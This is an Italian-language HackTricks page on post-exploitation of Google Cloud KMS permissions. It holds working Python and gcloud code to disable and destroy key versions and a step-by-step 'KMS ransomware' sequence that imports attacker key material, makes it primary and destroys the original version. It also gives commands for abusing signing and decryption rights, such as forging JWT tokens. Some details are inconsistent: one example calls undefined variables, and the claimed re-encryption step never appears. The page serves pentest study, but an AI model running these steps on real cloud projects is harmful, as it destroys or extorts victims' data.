GCP - KMS Post Exploitation

Supporta HackTricks

KMS

Trova informazioni di base su KMS in:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

Un attaccante con questo permesso potrebbe distruggere una versione KMS. Per fare questo, è necessario prima disabilitare la chiave e poi distruggerla:

# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

KMS Ransomware

In AWS è possibile rubare completamente una chiave KMS modificando la policy della risorsa KMS e permettendo solo all'account dell'attaccante di usare la chiave. Poiché queste policy delle risorse non esistono in GCP, questo non è possibile.

Tuttavia, c'è un altro modo per eseguire un KMS Ransomware globale, che coinvolgerebbe i seguenti passaggi:

  • Creare una nuova versione della chiave con un materiale della chiave importato dall'attaccante

gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • Impostalo come versione predefinita (per i dati futuri che verranno crittografati)

  • Ricrittografa i dati più vecchi crittografati con la versione precedente con quella nuova.

  • Elimina la chiave KMS

  • Ora solo l'attaccante, che ha il materiale della chiave originale, potrebbe essere in grado di decrittografare i dati crittografati

Ecco i passaggi per importare una nuova versione e disabilitare/eliminare i dati più vecchi:

# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc

# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -


# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"

# Generate key material
openssl rand -out my-key-material.bin 32

# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin

# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key

# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2

# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -

# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1

# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1

cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation

Questi permessi consentono di utilizzare una chiave KMS per crittografare i dati. Se un'entità ha uno di questi permessi, può potenzialmente crittografare i dati sensibili e quindi decrittografarli se ha anche i permessi di decrittografia.

cloudkms.cryptoKeyVersions.useToDecrypt | cloudkms.cryptoKeyVersions.useToDecryptViaDelegation

Questi permessi consentono di utilizzare una chiave KMS per decrittografare i dati. Se un'entità ha uno di questi permessi, può potenzialmente accedere ai dati sensibili che sono stati crittografati con la chiave KMS.

cloudkms.cryptoKeyVersions.viewPublicKey

Questo permesso consente di visualizzare la chiave pubblica di una chiave asimmetrica. Questo è utile per verificare firme o crittografare dati che solo il possessore della chiave privata può decrittografare.

cloudkms.cryptoKeyVersions.sign | cloudkms.cryptoKeyVersions.signViaDelegation

Questi permessi consentono di utilizzare una chiave privata per firmare dati. Se un'entità ha uno di questi permessi, può potenzialmente firmare dati a nome del proprietario della chiave privata.

cloudkms.cryptoKeyVersions.verify

Questo permesso consente di utilizzare una chiave pubblica per verificare firme. Se un'entità ha questo permesso, può verificare che i dati siano stati firmati dal possessore della chiave privata corrispondente.

cloudkms.cryptoKeyVersions.macSign | cloudkms.cryptoKeyVersions.macVerify

Questi permessi consentono di utilizzare una chiave KMS per generare e verificare codici di autenticazione dei messaggi (MAC). Se un'entità ha questi permessi, può garantire l'integrità e l'autenticità dei dati.

cloudkms.cryptoKeyVersions.generateRandom

Questo permesso consente di utilizzare una chiave KMS per generare numeri casuali. Questo è utile per generare chiavi crittografiche, nonce, o altri valori che richiedono casualità crittografica.

from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

Descrizione

Il permesso cloudkms.cryptoKeyVersions.useToSign consente a un utente di firmare un payload utilizzando una chiave privata memorizzata in Google Cloud KMS.

Abuso

Un utente malintenzionato con il permesso cloudkms.cryptoKeyVersions.useToSign può firmare un payload con una chiave privata, che può essere utilizzata per vari scopi dannosi, come la creazione di token JWT falsi.

Comando

gcloud kms keys versions sign --key <KEY_NAME> --keyring <KEYRING_NAME> --location <LOCATION> --digest-algorithm <ALGORITHM> --plaintext-file <PLAINTEXT_FILE> --signature-file <SIGNATURE_FILE>

cloudkms.cryptoKeyVersions.useToDecrypt

Descrizione

Il permesso cloudkms.cryptoKeyVersions.useToDecrypt consente a un utente di decrittografare un payload utilizzando una chiave privata memorizzata in Google Cloud KMS.

Abuso

Un utente malintenzionato con il permesso cloudkms.cryptoKeyVersions.useToDecrypt può decrittografare dati sensibili, che possono includere informazioni riservate o credenziali.

Comando

gcloud kms keys versions decrypt --key <KEY_NAME> --keyring <KEYRING_NAME> --location <LOCATION> --ciphertext-file <CIPHERTEXT_FILE> --plaintext-file <PLAINTEXT_FILE>
import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)

cloudkms.cryptoKeyVersions.useToVerify

Descrizione

Il permesso cloudkms.cryptoKeyVersions.useToVerify consente a un utente di verificare firme digitali utilizzando una chiave specifica.

Abuso

Un utente malintenzionato con il permesso cloudkms.cryptoKeyVersions.useToVerify può verificare firme digitali, il che potrebbe essere utilizzato per confermare l'autenticità di documenti o messaggi firmati.

Esempio

gcloud kms keys versions verify-signature \
    --project=[PROJECT_ID] \
    --location=[LOCATION] \
    --keyring=[KEYRING_NAME] \
    --key=[KEY_NAME] \
    --version=[KEY_VERSION] \
    --input-file=[INPUT_FILE] \
    --signature-file=[SIGNATURE_FILE] \
    --algorithm=[ALGORITHM]
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
Supporta HackTricks

Last updated